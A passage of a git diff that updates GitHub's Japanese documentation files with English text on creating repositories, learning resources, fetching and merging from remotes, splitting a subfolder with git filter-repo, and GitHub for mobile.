automatically shown on the front page of your repository. -それでは、*README* ファイルに変更を加えてコミットしてみましょう。 +Let's commit a change to the *README* file. -1. リポジトリのファイル一覧にある、[***README.md***] をクリックします。 ![ファイル一覧にある README ファイル](/assets/images/help/repository/create-commit-open-readme.png) -2. ファイルの中身の上にある {% octicon "pencil" aria-label="The edit icon" %}をクリックします。 -3. [**Edit file**] タブで、あなた自身に関する情報を入力します。 ![ファイル内の新しいコンテンツ](/assets/images/help/repository/edit-readme-light.png) +1. In your repository's list of files, click ***README.md***. + ![README file in file list](/assets/images/help/repository/create-commit-open-readme.png) +2. Above the file's content, click {% octicon "pencil" aria-label="The edit icon" %}. +3. On the **Edit file** tab, type some information about yourself. + ![New content in file](/assets/images/help/repository/edit-readme-light.png) {% data reusables.files.preview_change %} -5. ファイルに加えた変更を確認します。 新しいコンテンツは緑色で表示されます。 ![ファイルプレビュービュー](/assets/images/help/repository/create-commit-review.png) +5. Review the changes you made to the file. You'll see the new content in green. + ![File preview view](/assets/images/help/repository/create-commit-review.png) {% data reusables.files.write_commit_message %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_file_change %} @@ -97,7 +97,7 @@ topics: Now that you have created a project, you can start committing changes. -*README* ファイルは、プロジェクトの詳細を説明したり、プロジェクトのインストール方法や使い方などのドキュメンテーションを書き込んだりするためにふさわしい場所です。 *README* ファイルの内容は、リポジトリのフロントページに自動的に表示されます。 Follow these steps to add a *README* file. +*README* files are a great place to describe your project in more detail, or add some documentation such as how to install or use your project. The contents of your *README* file are automatically shown on the front page of your repository. Follow these steps to add a *README* file. 1. In the command line, navigate to the root directory of your new project. (This directory was created when you ran the `gh repo create` command.) 1. Create a *README* file with some information about the project. @@ -132,9 +132,9 @@ Now that you have created a project, you can start committing changes. {% endcli %} -## おめでとうございます +## Celebrate -おめでとうございます。 *README* ファイルを持つ新しいリポジトリを作成し、{% data variables.product.product_location %}に最初のコミットを作成しました。 +Congratulations! You have now created a repository, including a *README* file, and created your first commit on {% data variables.product.product_location %}. {% webui %} diff --git a/translations/ja-JP/content/get-started/quickstart/git-and-github-learning-resources.md b/translations/ja-JP/content/get-started/quickstart/git-and-github-learning-resources.md index 78ace690a1..5ce711cfb5 100644 --- a/translations/ja-JP/content/get-started/quickstart/git-and-github-learning-resources.md +++ b/translations/ja-JP/content/get-started/quickstart/git-and-github-learning-resources.md @@ -1,12 +1,12 @@ --- -title: Git と GitHub の学習リソース +title: Git and GitHub learning resources redirect_from: - /articles/good-resources-for-learning-git-and-github/ - /articles/what-are-other-good-resources-for-learning-git-and-github/ - /articles/git-and-github-learning-resources - /github/getting-started-with-github/git-and-github-learning-resources - /github/getting-started-with-github/quickstart/git-and-github-learning-resources -intro: 'ウェブ上には数多くの役に立つ Git と {% data variables.product.product_name %} のリソースが存在します。 おすすめのものをまとめました。' +intro: 'There are a lot of helpful Git and {% data variables.product.product_name %} resources on the web. This is a short list of our favorites!' versions: fpt: '*' ghes: '*' @@ -16,49 +16,48 @@ authors: - GitHub shortTitle: Learning resources --- +## Using Git -## Git を使用する +Familiarize yourself with Git by visiting the [official Git project site](https://git-scm.com) and reading the [ProGit book](http://git-scm.com/book). You can review the [Git command list](https://git-scm.com/docs) or [Git command lookup reference](http://gitref.org) while using the [Try Git](https://try.github.com) simulator. -[公式 Git プロジェクトサイト](https://git-scm.com)にアクセスして [ProGit book](http://git-scm.com/book) を読み、Git に慣れましょう。 [Try Git](https://try.github.com) シミュレーターを使用しながら、[Git コマンドリスト](https://git-scm.com/docs)や[Git コマンドルックアップ参照](http://gitref.org)を確認できます。 - -## {% data variables.product.product_name %}を使用する +## Using {% data variables.product.product_name %} {% ifversion fpt or ghec %} -{% data variables.product.prodname_learning %} では、即座に自動化されたフィードバックやヘルプとともに、{% data variables.product.prodname_dotcom %} に組み込まれた無料のインタラクティブなコースを提供しています。 最初のプルリクエストをオープンしたり、最初のオープンソースへのコントリビューションを行ったり、{% data variables.product.prodname_pages %} のサイトを作成したりできます。 コースについての詳細は、[{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}) をご覧ください。 +{% data variables.product.prodname_learning %} offers free interactive courses that are built into {% data variables.product.prodname_dotcom %} with instant automated feedback and help. Learn to open your first pull request, make your first open source contribution, create a {% data variables.product.prodname_pages %} site, and more. For more information about course offerings, see [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}). {% endif %} -[使ってみる](/categories/getting-started-with-github/)という記事を通して、{% data variables.product.product_name %} について理解を深めましょう。 [{% data variables.product.prodname_dotcom %} のフロー](https://guides.github.com/introduction/flow)でプロセスの紹介をご確認ください。 [概要ガイド](https://guides.github.com)を参照して基本的な概念をご覧ください。 +Become better acquainted with {% data variables.product.product_name %} through our [getting started](/categories/getting-started-with-github/) articles. See our [{% data variables.product.prodname_dotcom %} flow](https://guides.github.com/introduction/flow) for a process introduction. Refer to our [overview guides](https://guides.github.com) to walk through basic concepts. {% data reusables.support.ask-and-answer-forum %} -### ブランチ、フォーク、プルリクエスト +### Branches, forks, and pull requests -インタラクティブなツールを使用して、[Git のブランチ](http://learngitbranching.js.org/)について学びましょう。 [フォーク](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)や[プルリクエスト](/articles/using-pull-requests)、および {% data variables.product.prodname_dotcom %} で[プルリクエストがどのように使用されているのか](https://github.com/blog/1124-how-we-use-pull-requests-to-build-github)をお読みください。 [コマンドライン](https://cli.github.com/)から {% data variables.product.prodname_dotcom %} の使用に関するリファレンスにアクセスしてください。 +Learn about [Git branching](http://learngitbranching.js.org/) using an interactive tool. Read about [forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks) and [pull requests](/articles/using-pull-requests) as well as [how we use pull requests](https://github.com/blog/1124-how-we-use-pull-requests-to-build-github) at {% data variables.product.prodname_dotcom %}. Access references about using {% data variables.product.prodname_dotcom %} from the [command line](https://cli.github.com/). -### 動画 +### Tune in -{% data variables.product.prodname_dotcom %}[YouTube のトレーニングおよびガイドチャンネル](https://youtube.com/githubguides)では、[プルリクエスト](https://www.youtube.com/watch?v=d5wpJ5VimSU&list=PLg7s6cbtAD15G8lNyoaYDuKZSKyJrgwB-&index=19)、[フォーキング](https://www.youtube.com/watch?v=5oJHRbqEofs)、[リベース](https://www.youtube.com/watch?v=SxzjZtJwOgo&list=PLg7s6cbtAD15G8lNyoaYDuKZSKyJrgwB-&index=22)、および[リセット](https://www.youtube.com/watch?v=BKPjPMVB81g)機能についてのチュートリアルを提供しています。 各トピックの所要時間は 5 分以内です。 +Our {% data variables.product.prodname_dotcom %} [YouTube Training and Guides channel](https://youtube.com/githubguides) offers tutorials about [pull requests](https://www.youtube.com/watch?v=d5wpJ5VimSU&list=PLg7s6cbtAD15G8lNyoaYDuKZSKyJrgwB-&index=19), [forking](https://www.youtube.com/watch?v=5oJHRbqEofs), [rebase](https://www.youtube.com/watch?v=SxzjZtJwOgo&list=PLg7s6cbtAD15G8lNyoaYDuKZSKyJrgwB-&index=22), and [reset](https://www.youtube.com/watch?v=BKPjPMVB81g) functions. Each topic is covered in 5 minutes or less. -## トレーニング +## Training -### 無料コース +### Free courses -{% data variables.product.product_name %} は、[{% data variables.product.prodname_dotcom %} の紹介](https://lab.github.com/githubtraining/introduction-to-github)を含む一連のインタラクティブな[オンデマンドトレーニングコース](https://lab.github.com/)を提供しています。HTML、Python、NodeJS などのプログラミング言語とツールに関するコースや、{% data variables.product.prodname_actions %} などの {% data variables.product.product_name %} 固有のツールに関するコースがあります。 +{% data variables.product.product_name %} offers a series of interactive, [on-demand training courses](https://lab.github.com/) including [Introduction to {% data variables.product.prodname_dotcom %}](https://lab.github.com/githubtraining/introduction-to-github); courses on programming languages and tools such as HTML, Python, and NodeJS; and courses on {% data variables.product.product_name %} specific tools such as {% data variables.product.prodname_actions %}. -### {% data variables.product.prodname_dotcom %}のウェブベース教育プログラム +### {% data variables.product.prodname_dotcom %}'s web-based educational programs -{% data variables.product.prodname_dotcom %} では、生中継の[トレーニング](https://services.github.com/#upcoming-events)を提供しています。コマンドラインの好き嫌いにかかわらず、すべてのユーザに向けたハンズオン、プロジェクトベースのアプローチを紹介しています。 +{% data variables.product.prodname_dotcom %} offers live [trainings](https://services.github.com/#upcoming-events) with a hands-on, project-based approach for those who love the command line and those who don't. -### 企業向けトレーニング +### Training for your company -{% data variables.product.prodname_dotcom %} では、経験豊富な教育者による[対面式のクラス](https://services.github.com/#offerings)を提供しています。 トレーニングに関するお問い合わせについては、[こちら](https://services.github.com/#contact)までどうぞ。 +{% data variables.product.prodname_dotcom %} offers [in-person classes](https://services.github.com/#offerings) taught by our highly-experienced educators. [Contact us](https://services.github.com/#contact) to ask your training-related questions. -## その他 +## Extras -An interactive [online Git course](https://www.pluralsight.com/courses/code-school-git-real) from [Pluralsight](https://www.pluralsight.com/codeschool) has seven levels with dozens of exercises in a fun game format. [.gitignore テンプレート](https://github.com/github/gitignore)では、お客様のニーズに合わせることができます。 +An interactive [online Git course](https://www.pluralsight.com/courses/code-school-git-real) from [Pluralsight](https://www.pluralsight.com/codeschool) has seven levels with dozens of exercises in a fun game format. Feel free to adapt our [.gitignore templates](https://github.com/github/gitignore) to meet your needs. -{% data variables.product.prodname_dotcom %} のリーチを、{% ifversion fpt or ghec %}[インテグレーション](/articles/about-integrations){% else %}インテグレーション{% endif %}、または[{% data variables.product.prodname_desktop %}](https://desktop.github.com) と堅牢な [Atom](https://atom.io) テキストエディタで拡張しましょう。 +Extend your {% data variables.product.prodname_dotcom %} reach through {% ifversion fpt or ghec %}[integrations](/articles/about-integrations){% else %}integrations{% endif %}, or by installing [{% data variables.product.prodname_desktop %}](https://desktop.github.com) and the robust [Atom](https://atom.io) text editor. -[オープンソースのガイド](https://opensource.guide/)で、オープンソースのプロジェクトを立ち上げ成長させる方法をご確認ください。 +Learn how to launch and grow your open source project with the [Open Source Guides](https://opensource.guide/). diff --git a/translations/ja-JP/content/get-started/using-git/about-git.md b/translations/ja-JP/content/get-started/using-git/about-git.md index 5b0854bb90..f94c074ced 100644 --- a/translations/ja-JP/content/get-started/using-git/about-git.md +++ b/translations/ja-JP/content/get-started/using-git/about-git.md @@ -34,7 +34,7 @@ In a distributed version control system, every developer has a full copy of the - Businesses using Git can break down communication barriers between teams and keep them focused on doing their best work. Plus, Git makes it possible to align experts across a business to collaborate on major projects. -## リポジトリについて +## About repositories A repository, or Git project, encompasses the entire collection of files and folders associated with a project, along with each file's revision history. The file history appears as snapshots in time called commits. The commits can be organized into multiple lines of development called branches. Because Git is a DVCS, repositories are self-contained units and anyone who has a copy of the repository can access the entire codebase and its history. Using the command line or other ease-of-use interfaces, a Git repository also allows for: interaction with the history, cloning the repository, creating branches, committing, merging, comparing changes across versions of code, and more. @@ -129,7 +129,7 @@ git push --set-upstream origin main ### Example: contribute to an existing branch on {% data variables.product.product_name %} -This example assumes that you already have a project called `repo` already on the machine and that a new branch has been pushed to {% data variables.product.product_name %} since the last time changes were made locally. +This example assumes that you already have a project called `repo` on the machine and that a new branch has been pushed to {% data variables.product.product_name %} since the last time changes were made locally. ```bash # change into the `repo` directory @@ -162,9 +162,9 @@ There are two primary ways people collaborate on {% data variables.product.produ With a shared repository, individuals and teams are explicitly designated as contributors with read, write, or administrator access. This simple permission structure, combined with features like protected branches, helps teams progress quickly when they adopt {% data variables.product.product_name %}. -For an open source project, or for projects to which anyone can contribute, managing individual permissions can be challenging, but a fork and pull model allows anyone who can view the project to contribute. A fork is a copy of a project under an developer's personal account. Every developer has full control of their fork and is free to implement a fix or new feature. Work completed in forks is either kept separate, or is surfaced back to the original project via a pull request. There, maintainers can review the suggested changes before they're merged. For more information, see "[Contributing to projects](/get-started/quickstart/contributing-to-projects)." +For an open source project, or for projects to which anyone can contribute, managing individual permissions can be challenging, but a fork and pull model allows anyone who can view the project to contribute. A fork is a copy of a project under a developer's personal account. Every developer has full control of their fork and is free to implement a fix or a new feature. Work completed in forks is either kept separate, or is surfaced back to the original project via a pull request. There, maintainers can review the suggested changes before they're merged. For more information, see "[Contributing to projects](/get-started/quickstart/contributing-to-projects)." -## 参考リンク +## Further reading The {% data variables.product.product_name %} team has created a library of educational videos and guides to help users continue to develop their skills and build better software. diff --git a/translations/ja-JP/content/get-started/using-git/getting-changes-from-a-remote-repository.md b/translations/ja-JP/content/get-started/using-git/getting-changes-from-a-remote-repository.md index f20a1c8e12..209c0beb0e 100644 --- a/translations/ja-JP/content/get-started/using-git/getting-changes-from-a-remote-repository.md +++ b/translations/ja-JP/content/get-started/using-git/getting-changes-from-a-remote-repository.md @@ -1,6 +1,6 @@ --- -title: リモートリポジトリから変更を取得する -intro: 一般的な Git コマンドを使用して、リモートリポジトリにアクセスできます。 +title: Getting changes from a remote repository +intro: You can use common Git commands to access remote repositories. redirect_from: - /articles/fetching-a-remote/ - /articles/getting-changes-from-a-remote-repository @@ -14,69 +14,74 @@ versions: ghec: '*' shortTitle: Get changes from a remote --- - ## Options for getting changes -これらのコマンドは[リモートリポジトリ](/github/getting-started-with-github/about-remote-repositories)の操作時に非常に便利です。 `clone` および `fetch` は、リポジトリのリモート URL からお使いのローカルのコンピュータにリモートコードをダウンロードします。`merge` は、他のユーザの作業を自分のものとマージするために使用します。`pull` は、`fetch` と `merge` の組み合わせです。 +These commands are very useful when interacting with [a remote repository](/github/getting-started-with-github/about-remote-repositories). `clone` and `fetch` download remote code from a repository's remote URL to your local computer, `merge` is used to merge different people's work together with yours, and `pull` is a combination of `fetch` and `merge`. -## リポジトリをクローンする +## Cloning a repository -他のユーザのリポジトリの完全なコピーを取得するには、以下のように `git clone` を使用します: +To grab a complete copy of another user's repository, use `git clone` like this: ```shell -$ git clone https://{% data variables.command_line.codeblock %}/ユーザ名/REPOSITORY.git -# リポジトリを自分のコンピュータにクローン +$ git clone https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY.git +# Clones a repository to your computer ``` -リポジトリのクローン時は、[複数の異なる URL](/github/getting-started-with-github/about-remote-repositories) から選択できます。 {% data variables.product.prodname_dotcom %}にログインした状態である間は、これらの URL はリポジトリの詳細の下に表示されます: +You can choose from [several different URLs](/github/getting-started-with-github/about-remote-repositories) when cloning a repository. While logged in to {% data variables.product.prodname_dotcom %}, these URLs are available below the repository details: -![リモート URL リスト](/assets/images/help/repository/remotes-url.png) +![Remote URL list](/assets/images/help/repository/remotes-url.png) -`git clone` を実行すると、以下のアクションが発生します: -- `repo` と呼ばれる新たなフォルダが作成される -- Git リポジトリとして初期化される -- クローン元の URL を指す `origin` という名前のリモートが作成される -- リポジトリのファイルとコミットすべてがそこにダウンロードされる -- デフォルトブランチがチェックアウトされる +When you run `git clone`, the following actions occur: +- A new folder called `repo` is made +- It is initialized as a Git repository +- A remote named `origin` is created, pointing to the URL you cloned from +- All of the repository's files and commits are downloaded there +- The default branch is checked out -リモートリポジトリ内の各ブランチの `foo` と、対応するリモート追跡ブランチである `refs/remotes/origin/foo` がローカルのリポジトリに作成されます。 このようなリモート追跡ブランチの名前は、通常 `origin/foo` と省略できます。 +For every branch `foo` in the remote repository, a corresponding remote-tracking branch +`refs/remotes/origin/foo` is created in your local repository. You can usually abbreviate +such remote-tracking branch names to `origin/foo`. -## リモートリポジトリから変更をフェッチする +## Fetching changes from a remote repository -`git fetch` を使用して、他のユーザによる新たな作業成果を取得できます。 リポジトリからフェッチすると、すべての新しいリモート追跡ブランチとタグが取得され、かつ、それらの変更は自分のブランチへマージ*されません*。 +Use `git fetch` to retrieve new work done by other people. Fetching from a repository grabs all the new remote-tracking branches and tags *without* merging those changes into your own branches. If you already have a local repository with a remote URL set up for the desired project, you can grab all the new information by using `git fetch *remotename*` in the terminal: ```shell $ git fetch remotename -# リモートリポジトリへの更新をフェッチする +# Fetches updates made to a remote repository ``` Otherwise, you can always add a new remote and then fetch. For more information, see "[Managing remote repositories](/github/getting-started-with-github/managing-remote-repositories)." -## ローカルブランチに変更をマージする +## Merging changes into your local branch -マージとは、あなたのローカルでの変更を他のユーザによる変更と結合させる処理です。 +Merging combines your local changes with changes made by others. -通常、リモート追跡ブランチ (リモートリポジトリからフェッチされたブランチ) をローカルのブランチとマージします。 +Typically, you'd merge a remote-tracking branch (i.e., a branch fetched from a remote repository) with your local branch: ```shell $ git merge remotename/branchname -# オンラインで行われた更新をローカル作業にマージする +# Merges updates made online with your local work ``` -## リモートリポジトリから変更をプルする +## Pulling changes from a remote repository -`git pull` は、`git fetch` と `git merge` を 1 つのコマンドで実行できる便利なショートカットです: +`git pull` is a convenient shortcut for completing both `git fetch` and `git merge `in the same command: ```shell $ git pull remotename branchname -# オンライン更新をローカル作業にマージ +# Grabs online updates and merges them with your local work ``` -`pull` は、取得された変更のマージを実行するため、`pull` コマンドの実行前にローカルの作業がコミットされていることを確認する必要があります。 If you run into \[a merge conflict\](/github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line you cannot resolve, or if you decide to quit the merge, you can use `git merge --abort` to take the branch back to where it was in before you pulled. +Because `pull` performs a merge on the retrieved changes, you should ensure that +your local work is committed before running the `pull` command. If you run into +[a merge conflict](/github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line) +you cannot resolve, or if you decide to quit the merge, you can use `git merge --abort` +to take the branch back to where it was in before you pulled. -## 参考リンク +## Further reading - ["Working with Remotes" from the _Pro Git_ book](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes)"{% ifversion fpt or ghec %} -- 「[接続の問題のトラブルシューティング](/articles/troubleshooting-connectivity-problems)」{% endif %} +- "[Troubleshooting connectivity problems](/articles/troubleshooting-connectivity-problems)"{% endif %} diff --git a/translations/ja-JP/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md b/translations/ja-JP/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md index 48a4f0a39b..f070c323c5 100644 --- a/translations/ja-JP/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md +++ b/translations/ja-JP/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md @@ -1,12 +1,12 @@ --- -title: サブフォルダを新規リポジトリに分割する +title: Splitting a subfolder out into a new repository redirect_from: - /articles/splitting-a-subpath-out-into-a-new-repository/ - /articles/splitting-a-subfolder-out-into-a-new-repository - /github/using-git/splitting-a-subfolder-out-into-a-new-repository - /github/getting-started-with-github/splitting-a-subfolder-out-into-a-new-repository - /github/getting-started-with-github/using-git/splitting-a-subfolder-out-into-a-new-repository -intro: Git リポジトリ内のフォルダを、全く新しいリポジトリに変更できます。 +intro: You can turn a folder within a Git repository into a brand new repository. versions: fpt: '*' ghes: '*' @@ -14,68 +14,77 @@ versions: ghec: '*' shortTitle: Splitting a subfolder --- - -リポジトリの新しいクローンを作成した場合でも、フォルダを別のリポジトリに分割したとき、Git の履歴や変更を失うことはありません。 +If you create a new clone of the repository, you won't lose any of your Git history or changes when you split a folder into a separate repository. {% data reusables.command_line.open_the_multi_os_terminal %} -2. 現在のワーキングディレクトリを、新しいリポジトリを作成したい場所に変更します。 -3. サブフォルダのあるリポジトリをクローンします。 - ```shell - $ git clone https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY-NAME - ``` -4. ワーキングディレクトリをクローンしたリポジトリに変更します。 - ```shell - $ cd REPOSITORY-NAME - ``` + +2. Change the current working directory to the location where you want to create your new repository. + +4. Clone the repository that contains the subfolder. + ```shell + $ git clone https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY-NAME + ``` + +4. Change the current working directory to your cloned repository. + ```shell + $ cd REPOSITORY-NAME + ``` + 5. To filter out the subfolder from the rest of the files in the repository, run [`git filter-repo`](https://github.com/newren/git-filter-repo), supplying this information: - - `FOLDER-NAME`: The folder within your project where you'd like to create a separate repository. + - `FOLDER-NAME`: The folder within your project where you'd like to create a separate repository. - {% windows %} + {% windows %} - {% tip %} + {% tip %} - **ヒント:** Windows ユーザは、 フォルダを区切るために、`/` を使ってください。 + **Tip:** Windows users should use `/` to delimit folders. - {% endtip %} + {% endtip %} - {% endwindows %} + {% endwindows %} + + ```shell + $ git filter-repo --path FOLDER-NAME1/ --path FOLDER-NAME2/ + # Filter the specified branch in your directory and remove empty commits + > Rewrite 48dc599c80e20527ed902928085e7861e6b3cbe6 (89/89) + > Ref 'refs/heads/BRANCH-NAME' was rewritten + ``` + + The repository should now only contain the files that were in your subfolder(s). +6. [Create a new repository](/articles/creating-a-new-repository/) on {% data variables.product.product_name %}. + +7. At the top of your new repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL. + + ![Copy remote repository URL field](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png) + + {% tip %} + + **Tip:** For information on the difference between HTTPS and SSH URLs, see "[About remote repositories](/github/getting-started-with-github/about-remote-repositories)." + + {% endtip %} + +8. Check the existing remote name for your repository. For example, `origin` or `upstream` are two common choices. + ```shell + $ git remote -v + > origin https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY-NAME.git (fetch) + > origin https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY-NAME.git (push) + ``` + +9. Set up a new remote URL for your new repository using the existing remote name and the remote repository URL you copied in step 7. + ```shell + git remote set-url origin https://{% data variables.command_line.codeblock %}/USERNAME/NEW-REPOSITORY-NAME.git + ``` + +10. Verify that the remote URL has changed with your new repository name. ```shell - $ git filter-repo --path FOLDER-NAME1/ --path FOLDER-NAME2/ - # Filter the specified branch in your directory and remove empty commits - > Rewrite 48dc599c80e20527ed902928085e7861e6b3cbe6 (89/89) - > Ref 'refs/heads/BRANCH-NAME' was rewritten + $ git remote -v + # Verify new remote URL + > origin https://{% data variables.command_line.codeblock %}/USERNAME/NEW-REPOSITORY-NAME.git (fetch) + > origin https://{% data variables.command_line.codeblock %}/USERNAME/NEW-REPOSITORY-NAME.git (push) ``` - The repository should now only contain the files that were in your subfolder(s). -6. {% data variables.product.product_name %} 上で[新しいリポジトリを作成](/articles/creating-a-new-repository/)します。 -7. At the top of your new repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL. ![リモートリポジトリの URL フィールドのコピー](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png) - - {% tip %} - - **Tip:** For information on the difference between HTTPS and SSH URLs, see "[About remote repositories](/github/getting-started-with-github/about-remote-repositories)." - - {% endtip %} - -8. リポジトリの既存のリモート名を確認します。 `origin` や `upstream` がよく使われます。 - ```shell - $ git remote -v - > origin https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY-NAME.git (fetch) - > origin https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY-NAME.git (push) - ``` - -9. 既存のリモート名およびステップ 7 でコピーしたリモートリポジトリ URL を使って、新しいリポジトリの新しいリモート URL をセットアップします。 - ```shell - git remote set-url origin https://{% data variables.command_line.codeblock %}/USERNAME/NEW-REPOSITORY-NAME.git - ``` -10. 新しいリポジトリの名前を使い、リモート URL が変更されたことを確認します。 - ```shell - $ git remote -v - # Verify new remote URL - > origin https://{% data variables.command_line.codeblock %}/USERNAME/NEW-REPOSITORY-NAME.git (fetch) - > origin https://{% data variables.command_line.codeblock %}/USERNAME/NEW-REPOSITORY-NAME.git (push) - ``` -11. 変更を {% data variables.product.product_name %} の新しいリポジトリにプッシュします。 - ```shell - git push -u origin BRANCH-NAME - ``` +11. Push your changes to the new repository on {% data variables.product.product_name %}. + ```shell + git push -u origin BRANCH-NAME + ``` diff --git a/translations/ja-JP/content/get-started/using-github/github-for-mobile.md b/translations/ja-JP/content/get-started/using-github/github-for-mobile.md index c985a73f89..c1331d6da4 100644 --- a/translations/ja-JP/content/get-started/using-github/github-for-mobile.md +++ b/translations/ja-JP/content/get-started/using-github/github-for-mobile.md @@ -1,6 +1,6 @@ --- title: GitHub for mobile -intro: '{% data variables.product.product_name %} での作業をモバイルデバイスからトリアージ、コラボレーション、および管理します。' +intro: 'Triage, collaborate, and manage your work on {% data variables.product.product_name %} from your mobile device.' versions: fpt: '*' ghes: '*' @@ -11,81 +11,80 @@ redirect_from: - /github/getting-started-with-github/github-for-mobile - /github/getting-started-with-github/using-github/github-for-mobile --- - {% data reusables.mobile.ghes-release-phase %} -## {% data variables.product.prodname_mobile %} について +## About {% data variables.product.prodname_mobile %} {% data reusables.mobile.about-mobile %} -{% data variables.product.prodname_mobile %} を使用すると、{% data variables.product.product_name %} に対してインパクトのある作業をすばやく、どこからでも行うことができます。 {% data variables.product.prodname_mobile %} は、信頼できるファーストパーティクライアントアプリケーションを介して {% data variables.product.product_name %} データにアクセスする安心で安全な方法です。 +{% data variables.product.prodname_mobile %} gives you a way to do high-impact work on {% data variables.product.product_name %} quickly and from anywhere. {% data variables.product.prodname_mobile %} is a safe and secure way to access your {% data variables.product.product_name %} data through a trusted, first-party client application. -{% data variables.product.prodname_mobile %} では、次のことができます。 -- 通知の管理、トリアージ、クリア -- Issue とプルリクエストの読み取り、レビュー、コラボレーション -- ユーザ、リポジトリ、Organization の検索、参照、操作 -- あなたのユーザー名がメンションされたときのプッシュ通知の受信 +With {% data variables.product.prodname_mobile %} you can: +- Manage, triage, and clear notifications +- Read, review, and collaborate on issues and pull requests +- Search for, browse, and interact with users, repositories, and organizations +- Receive a push notification when someone mentions your username -{% data variables.product.prodname_mobile %} の通知の詳細については、「[通知を設定する](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#enabling-push-notifications-with-github-for-mobile)」を参照してください。 +For more information about notifications for {% data variables.product.prodname_mobile %}, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#enabling-push-notifications-with-github-for-mobile)." -## {% data variables.product.prodname_mobile %}のインストール +## Installing {% data variables.product.prodname_mobile %} -Android または iOS に {% data variables.product.prodname_mobile %} をインストールするには、「[{% data variables.product.prodname_mobile %}](https://github.com/mobile)」を参照してください。 +To install {% data variables.product.prodname_mobile %} for Android or iOS, see [{% data variables.product.prodname_mobile %}](https://github.com/mobile). -## アカウントの管理 +## Managing accounts -{% data variables.product.prodname_dotcom_the_website %} のユーザーアカウントと、{% data variables.product.prodname_ghe_server %}のユーザーアカウントとを使用して同時にモバイルにサインインすることができます。 +You can be simultaneously signed into mobile with one user account on {% data variables.product.prodname_dotcom_the_website %} and one user account on {% data variables.product.prodname_ghe_server %}. {% data reusables.mobile.push-notifications-on-ghes %} -VPN で Enterprise にアクセスする必要がある場合、{% data variables.product.prodname_mobile %} は Enterprise では動作しません。 +{% data variables.product.prodname_mobile %} may not work with your enterprise if you're required to access your enterprise over VPN. -### 必要な環境 +### Prerequisites -{% data variables.product.prodname_ghe_server %} で {% data variables.product.prodname_mobile %} を使用するには、デバイスに {% data variables.product.prodname_mobile %} 1.4 以降をインストールする必要があります。 +You must install {% data variables.product.prodname_mobile %} 1.4 or later on your device to use {% data variables.product.prodname_mobile %} with {% data variables.product.prodname_ghe_server %}. -{% data variables.product.prodname_ghe_server %} で {% data variables.product.prodname_mobile %} を使用するには、{% data variables.product.product_location %} がバージョン 3.0 以降であり、Enterprise オーナーが Enterprise に対してモバイルサポートを有効にしている必要があります。 For more information, see {% ifversion ghes %}"[Release notes](/enterprise-server/admin/release-notes)" and {% endif %}"[Managing {% data variables.product.prodname_mobile %} for your enterprise]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/configuration/managing-github-for-mobile-for-your-enterprise){% ifversion not ghes %}" in the {% data variables.product.prodname_ghe_server %} documentation.{% else %}."{% endif %} +To use {% data variables.product.prodname_mobile %} with {% data variables.product.prodname_ghe_server %}, {% data variables.product.product_location %} must be version 3.0 or greater, and your enterprise owner must enable mobile support for your enterprise. For more information, see {% ifversion ghes %}"[Release notes](/enterprise-server/admin/release-notes)" and {% endif %}"[Managing {% data variables.product.prodname_mobile %} for your enterprise]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/configuration/managing-github-for-mobile-for-your-enterprise){% ifversion not ghes %}" in the {% data variables.product.prodname_ghe_server %} documentation.{% else %}."{% endif %} -{% data variables.product.prodname_ghe_server %} を使用した {% data variables.product.prodname_mobile %} のベータでは、{% data variables.product.prodname_dotcom_the_website %} のユーザアカウントでサインインする必要があります。 +During the beta for {% data variables.product.prodname_mobile %} with {% data variables.product.prodname_ghe_server %}, you must be signed in with a user account on {% data variables.product.prodname_dotcom_the_website %}. -### アカウントの追加、切り替え、サインアウト +### Adding, switching, or signing out of accounts -{% data variables.product.product_location %} のユーザアカウントでモバイルにサインインできます。 アプリの下部にある {% octicon "person" aria-label="The person icon" %} [**Profile**] を長押ししてから、{% octicon "plus" aria-label="The plus icon" %} [**Add Enterprise Account**] をタップします。 プロンプトに従ってサインインします。 +You can sign into mobile with a user account on {% data variables.product.product_location %}. At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, then tap {% octicon "plus" aria-label="The plus icon" %} **Add Enterprise Account**. Follow the prompts to sign in. -{% data variables.product.product_location %} のユーザアカウントでモバイルにサインインした後、{% data variables.product.prodname_dotcom_the_website %} のアカウントとお使いのアカウントを切り替えることができます。 アプリの下部で、{% octicon "person" aria-label="The person icon" %} [**Profile**] を長押ししてから、切り替えるアカウントをタップします。 +After you sign into mobile with a user account on {% data variables.product.product_location %}, you can switch between the account and your account on {% data variables.product.prodname_dotcom_the_website %}. At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, then tap the account you want to switch to. -{% data variables.product.prodname_mobile %} から {% data variables.product.product_location %} 